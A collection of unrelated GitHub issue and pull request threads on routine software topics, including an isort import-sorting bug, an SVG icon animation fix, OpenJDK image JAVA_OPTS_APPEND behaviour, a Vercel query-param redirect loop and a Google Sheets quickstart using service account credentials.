src/lib/entities/episode/api/fetch-transcript.ts
100.00% <100.00%> (ø)

src/lib/entities/episode/model/transcripts.ts
100.00% <100.00%> (ø)

...ures/read-transcript/ui/skeleton-transcript.svelte
100.00% <100.00%> (ø)

...atures/read-transcript/ui/toggle-transcript.svelte
100.00% <0.00%> (ø)

src/service-worker.ts
0.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c85eaae...310bbcd. Read the comment docs.


Can't handle backslash and bracket

I have found a following imports that can't be automatically sorted:
from sympy import S, pi, GoldenRatio as phi, sqrt
from sympy.ntheory.continued_fraction import \
    (continued_fraction_periodic as cf_p,
     continued_fraction_iterator as cf_i,
     continued_fraction_convergents as cf_c,
     continued_fraction_reduce as cf_r)
from sympy.utilities.pytest import raises

Results to:
from sympy import GoldenRatio as phi
from sympy import S, pi, sqrt
from sympy.ntheory.continued_fraction import \
    continued_fraction_periodic as cf_p
from sympy.utilities.pytest import raises

     continued_fraction_iterator as cf_i,
     continued_fraction_convergents as cf_c,
     continued_fraction_reduce as cf_r)

@katlings thanks!


wip: clap icon

I have read the CONTRIBUTING.md file.
YES
What kind of change does this PR introduce?
Add icon
What is the new behavior?
Add clap icon
Demo
https://github.com/user-attachments/assets/403c0f4b-9fc9-4174-b87f-5dd8cfd4998d
Additional context
I tried to rotate the entire svg with an origin at x = 4px and y = 20px but it doesn't work. For some reason, the origin is not taken into account and the rotation is done from the center (because of the flex in the parent div??). So I tried to make a motion.g inside the svg with the path in it. It works, but when I rotate, my paths are hidden by the svg. I've seen that the rocking-chair.tsx icon has the same problem, the origin on the motion.svg is not taken into account. Can you help me fix this to get the animation without being hidden?
I show you a video if I put my animation on the motion.svg, the origin not taken into account.
https://github.com/user-attachments/assets/dfe70c9b-4177-4aa6-88a3-6f78901a83f7

hey, @killian-dv, try to add this style for svg tag
<svg style={{ overflow: 'visible' }}>

Thanks, it works. I hadn't thought of using overflow.


src,doc: Add url example to README.md

This command adds the curl example that is currently in index.js to the
readme.

@lance I've added the examples that you mentioned in the original pull request (the one I close by mistake).


Possible concurrency bug in DataSourceActor

There is a possible data race when bundleIndex and subscriptions are updated when starting ingest for a path. This can be fixed by using a concurrent hash map such as TrieMap.

I actually ran into this in action once. The order book never loaded in the market data dashboard due to a subscription not existing. Fixed with concurrent maps.


More-itertools test uses python2 specific syntax.

Uses tuple unpacking in argument which is no longer supported.
Only seems to happen during test.

What's the problem? I see hydra is building nose for py2 and py3 just fine.

@lethalman may have been a transient local issue then. I'm going to close


Set MySQL root user password and provide db password in Forseti config?

Some customers have asked that the MySQL root password be set during the Forseti setup, and that the Forseti database user have a password as well. This request was a prerequisite for them to be allowed to use Forseti in their GCP environment.
There are a few things to consider:

Config file has the db password in plaintext and stored in Cloud Storage. Whoever can get objects from the bucket has this password.
Whoever has access to modify Cloud SQL settings can easily change the root password.
If we create a non-root user via Deployment Manager during the setup wizard, we'd still need to generate a password and grab it to store in the config file.
None of these methods guarantee any more security of the Forseti data/database than locking down access to the project, forbidding outside access via authorized networks, and using the identity-based SQL proxy for accessing Cloud SQL.

A short term solution could be to have MySQL set up locally to Forseti and tweak the run_forseti.sh not to download the config file from GCS. (Also, this means that Forseti would need to recognize the db password field in the config.) Of course, whoever can ssh to the instance can probably read the config file.

Relates to #3217

This has been completed by this PR.


Update http4s-async-http-client, ... to 0.23.9

Updates

org.http4s:http4s-async-http-client
org.http4s:http4s-blaze-server
org.http4s:http4s-circe
org.http4s:http4s-client
org.http4s:http4s-core
org.http4s:http4s-dsl

from 0.23.6 to 0.23.9.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.http4s" } ]

labels: library-update, early-semver-minor, semver-spec-patch, commit-count:1

Superseded by #1006.


make blacklist unset check work..

This changes the default for --blacklist to "" (empty string) instead of None to fix #422

Tested submissions ran both with and without --blacklist this time.


Query params filter infinite redirect

Query params filter has infinite redirection loop
Edge function folder: https://github.com/vercel/examples/tree/main/edge-functions/query-params-filter
Bug:
Loading URL from readme - https://edge-functions-query-params-filter.vercel.sh/?a=b&allowed=test leads to an infinite redirection loop
OS: Windows 10, latest Chrome, Edge

we were planning on building a middleware with this functionality, but we are blocked by this issue. on local it works as expected/advertised

Just a heads up we are discussing what the solution for this would be, we are shipping a solution soon.

Hey @alexliebler! We fixed the issue:

https://github.com/vercel/examples/pull/117
https://github.com/vercel/next.js/pull/33725

new deployments that delete query params (like our example) will work too

Thank you @Schniz ❤


create useCreatePatient react-query hook and remove redux create patient code

🚀 Feature Proposal
This feature is to create a useCreatePatient react-query mutation which will create a patient.
Motivation

removing redux

Technical Notes

this will follow a similar pattern to useRequestImaging
make sure to remove all redux code related to creating a patient

is this issue somehow related to this? @jackcmeyer
it happens in localhost and also in https://staging.hospitalrun.io/patients/new -> Create New Patient -> Save, only when opened using Firefox (normal in Chrome)
error: true
message: "unknown"
name: "indexed_db_went_bad"
reason: "A mutation operation was attempted on a database that did not allow mutations."
stack: ""
status: 500

I don't think so! This code is to do a refactor of how the save of the patient works.
I wasn't aware of any any bugs related to saving a patient.
If this is a reproducible issue, could you open another bug please?

yes, it could be reproduced in my case it's only in Firefox
I will open new issue for this 🙏
cheers

@djiwandou thanks for pointing this out! Would you like to give it a shot?

wew I am still newbie, maybe not yet for this one hehe ✌
@fox1t

@djiwandou :)

Hey! Can I take this issue?

Sounds good @ArtemGoldsmith!

I see this story was picked up long time ago. Can I take this one?


ubi8-openjdk-11 JAVA_OPTS_APPEND not working

Hi,
since the newest version 1.17 our JAVA_OPTS_APPEND are not used for startup.
When moving them to JAVA_OPTIONS everything works.
Following the different startup logs from two Pods built with 1.17 and 1.16 but with the same JAVA_OPTIONS and JAVA_OPTS_APPEND:
1.17
Starting the Java application using /opt/jboss/container/java/run/run-java.sh ...
INFO exec -a "java" java -Djavax.net.ssl.trustStore=/mnt/cacerts/cacerts-asd -Dfile.encoding=UTF-8 -cp "." -jar /deployments/spring-boot-application.jar

1.16
Starting the Java application using /opt/jboss/container/java/run/run-java.sh ...
INFO exec -a "java" java -Djavax.net.ssl.trustStore=/mnt/cacerts/cacerts-asd -Dfile.encoding=UTF-8 -javaagent:/usr/share/java/jolokia-jvm-agent/jolokia-jvm.jar=config=/opt/jboss/container/jolokia/etc/jolokia.properties -XX:MaxRAMPercentage=50.0 -XX:+UseParallelGC -XX:MinHeapFreeRatio=10 -XX:MaxHeapFreeRatio=20 -XX:GCTimeRatio=4 -XX:AdaptiveSizePolicyWeight=90 -XX:MaxMetaspaceSize=300m -XX:+ExitOnOutOfMemoryError -Djavax.net.ssl.trustStore=/mnt/cacerts/cacerts-asd -Dfile.encoding=UTF-8 -javaagent:/appd/javaagent.jar -Dappdynamics.jvm.shutdown.mark.node.as.historical=true -Dappdynamics.http.proxyHost=internet-proxy-server.asd.de -Dappdynamics.http.proxyPort=80 -cp "." -jar /deployments/asd-restapi-0.2.0-SNAPSHOT.jar

After looking over the startup file we noticed following change which looks a bit suspicious:
https://github.com/jboss-container-images/openjdk/commit/c78dee442686056c04a667068c3362aa97eb3565#diff-e38c49939e67e17236485b64a7afc257e6b78a92f42e9654aac965f225fb00a4R156
In my opinion there is a typo for ${JAVA_OPTS-$(run_java_options)...} and should be more like "${JAVA_OPTS}-$(run_java_options)" or a : is missing and so ${JAVA_OPTS:-$(run_java_options)...}.
Thanks in advance

The intended semantics for JAVA_OPTS_APPEND is for user-provide options to be appended to those calculated by our run scripts. JAVA_OPTS is intended to override and replace any options calculated by our run scripts.
What are you defining JAVA_OPTS_APPEND to? (and can you clarify that you are not also defining JAVA_OPTS at the same time)?
Can I also clarify that you are running the run script from the image? The issue text implies so (INFO exec -a "java"...) but the Dockerfiles in this repo are overriding CMD: https://github.com/search?q=repo%3Ait-at-m%2Fdigiwf-core ubi8%2Fopenjdk-11&type=code

In my opinion there is a typo for ${JAVA_OPTS-$(run_java_options)...} and should be more like "${JAVA_OPTS}-$(run_java_options)" or a : is missing and so ${JAVA_OPTS:-$(run_java_options)...}.

${JAVA_OPTS-...} is a bash string expansion. It is intended to mean "if JAVA_OPTS is unset, the stuff after the dash is taken for the value`. So if you set JAVA_OPTS (even to the empty string), the remainder is ignored. (this includes JAVA_OPTS_APPEND).
If we add the colon, the difference would be setting JAVA_OPTS="" would not override the calculated parameters.

What are you defining JAVA_OPTS_APPEND to? (and can you clarify that you are not also defining JAVA_OPTS at the same time)?

We only define JAVA_OPTIONS and JAVA_OPTS_APPEND. See following output from pod console.
sh-4.4$ echo $JAVA_OPTS

sh-4.4$ echo $JAVA_OPTIONS
-Djavax.net.ssl.trustStore=/mnt/cacerts/cacerts-asd -Dfile.encoding=UTF-8
sh-4.4$ echo $JAVA_OPTS_APPEND
-Djavax.net.ssl.trustStore=/mnt/cacerts/cacerts-asd -Dfile.encoding=UTF-8 -javaagent:/appd/javaagent.jar -Dappdynamics.jvm.shutdown.mark.node.as.historical=true -Dappdynamics.http.proxyHost=internet-proxy-server.asd.de -Dappdynamics.http.proxyPort=80

Based on your description when to use what var i only set JAVA_OPTS_APPEND and removed JAVA_OPTIONS then every thing works also.
What we think now is that our JAVA_OPTIONS were used for the JAVA_OPTS value. (Probably because our start CMD uses JAVA_OPTIONS).
So our solution would be to only use JAVA_OPTS_APPEND.
Sorry for the misinterpreted bug that looked for us like a "breaking change" because of strangely set java vars and thanks for the explanations.

@simonhir Please see this doc for a description of JAVA_OPTIONS (and what it does): https://jboss-container-images.github.io/openjdk/ubi8/ubi8-openjdk-11.html
It's a deprecated value and is replaced with JAVA_OPTS in UBI 9 images. Please move away from using it (which is what you seem to be doing now). Only using JAVA_OPTS_APPEND is the right move.

Sorry for the misinterpreted bug that looked for us like a "breaking change" because of strangely set java vars and thanks for the explanations.

No problem. It's technically a regression fix (the behaviour of JAVA_OPTS and JAVA_OPTIONS changed from this to the 1.16 behaviour years ago by accident, possibly around1.3...) but I'm sorry the recent change caused problems.


Windows Hello README broken link

From the following sample:
https://github.com/Microsoft/Windows-universal-samples/tree/master/Samples/MicrosoftPassport
The link Microsoft Passport and Windows Hello developer how-to guide is followed by the download page of Visual Studio, not a guide.

Hm, when I follow the link, it takes me to Microsoft Passport and Windows Hello in MSDN. Are you sure you are clicking the correct link?


ci: Drop use of pip '2020-resolver' preview

The 2020-resolver is now the default for pip
Needed for PR #65

@kratsg this is ready for review.


Add function to retrieve the specified number of data from storage

Related #33
I added getValuesFromStorage method in MessageClient.
This function retrieve the specified number of data from storage.
You can specify offsets and limits for this function.
const messageClient = new MessageClient();
// You can get 5 data from 1st content.
const contents = await messageClient.getValuesFromStorage(0, 5);
// You can also get 5 data from 5th content.
const nextContents = await messageClient.getValuesFromStorage(5, 5);

I've never used this function yet in script.
We must implement pagination for popup screen.

This function is hot! 🔥
I will try implementing pagination soon. Can I commit it following this PR?

I will try implementing pagination soon. Can I commit it following this PR?
Of course!
I'm expecting cool pagination!


Update jenkins-job-builder doc

update command to upload jobs. the template dir
must be given on the internal jenkins server
mention that new jobs should always be defined in yaml

+1 and thanks for the changes!

+1
Just one general improvement what I can see is that we should thought about to move the jjb yaml's to another folder. For me the scripts folder makes not really sense.

For me the scripts folder makes not really sense.

I agree. But imo out of scope for this PR.


switch from Appraisal to Bundler::Multilock

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Update oasis3 mct package.py

I'm going to drop the patch "oasis3-mct: add a nodebuginfo variant" for this PR and add a patch to point to "master" instead of "spack-build". I'm planning on using the variant name "deterministic" for builds that will be used to do a binary comparison.

Ready for review!


sheet/quickstart.go does not work when use "service account credential" token

Expected Behavior
works fine
Actual Behavior
get fail:

Unable to parse client secret file to config: oauth2/google: no credentials found

Steps to Reproduce the Problem
$ go run quickstart.go
Specifications
it works after:
use google.DefaultClient instead google.ConfigFromJSON
'''
client, err := google.DefaultClient(oauth2.NoContext,
"https://www.googleapis.com/auth/devstorage.full_control",
"https://www.googleapis.com/auth/spreadsheets.readonly")
if err != nil {
log.Fatal(err)
}
'''
and need: export GOOGLE_APPLICATION_CREDENTIALS=/path/to/my-token.json  before go run

Go version (go version)
go version go1.10.8 linux/amd64

OS (Mac/Linux/Windows)
Linux

package main

import (
	"fmt"
	"log"

	"golang.org/x/oauth2"
	"golang.org/x/oauth2/google"
	"google.golang.org/api/sheets/v4"
)

//export GOOGLE_APPLICATION_CREDENTIALS=/path/to/my-token.json  #before go run

func main() {
	client, err := google.DefaultClient(oauth2.NoContext,
		"https://www.googleapis.com/auth/devstorage.full_control",
		"https://www.googleapis.com/auth/spreadsheets.readonly")
	if err != nil {
		log.Fatal(err)
	}

	srv, err := sheets.New(client)
	if err != nil {
		log.Fatalf("Unable to retrieve Sheets client: %v", err)
	}

	// Prints the names and majors of students in a sample spreadsheet:
	// https://docs.google.com/spreadsheets/d/1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgvE2upms/edit
	spreadsheetId := "1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgvE2upms"
	readRange := "Class Data!A2:E"
	resp, err := srv.Spreadsheets.Values.Get(spreadsheetId, readRange).Do()
	if err != nil {
		log.Fatalf("Unable to retrieve data from sheet: %v", err)
	}

	if len(resp.Values) == 0 {
		fmt.Println("No data found.")
	} else {
		fmt.Println("Name, Major, Gender:")
		for _, row := range resp.Values {
			// Print columns A and E, which correspond to indices 0 and 4.
			fmt.Printf("%s, %s, %s\n", row[0], row[4], row[1])
		}
	}
}

The quickstart wasn't written to use service accounts and, as you discovered, it's a slightly different code path to do so. If you're looking for examples of using service accounts w/Go, there are some instructions on how to do that at the Go client lib -- https://github.com/googleapis/google-api-go-client


Ubuntu 20.04 LTS support in Hyper-V and documentation

Please update information about Ubuntu 20.04 LTS support which is the current LTS release you should use when installing new machines.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 84d52296-198d-7c8a-db99-e8cb336e355f
Version Independent ID: 77670399-109f-3233-0466-c13d84542039
Content: Supported Ubuntu virtual machines on Hyper-V
Content Source: WindowsServerDocs/virtualization/hyper-v/Supported-Ubuntu-virtual-machines-on-Hyper-V.md
Product: windows-server
Technology: compute-hyper-v
GitHub Login: @shirgall
Microsoft Alias: shirgall

Fixed by https://github.com/MicrosoftDocs/windowsserverdocs/commit/fb78b64c3a2ffc434c1e04d16cf7804e9c00df81?

Fixed by https://github.com/MicrosoftDocs/windowsserverdocs/commit/fb78b64c3a2ffc434c1e04d16cf7804e9c00df81?

Duplicate of #4498

Duplicate of #4498

Tagged as duplicate ticket.
#please-close

Tagged as duplicate ticket.
#please-close


Please support autodetecting language in the online demo

(Original issue 767 created by mgorny on 2012-05-09T20:11:33.904267+00:00)
AFAICS the online demo on pygments website requires one to explicitly specify the language used. It would be great if it supported the pygments syntax autodetect feature as that's what I wanted to test.

(Original issue 767 last updated on 2016-06-01T23:04:53.905470+00:00)
(Issue automaticaly closed due to status in Bitbucket: wontfix)

(Original comment by tshatch on 2016-06-01T23:04:53.924840+00:00)
Online demo was removed.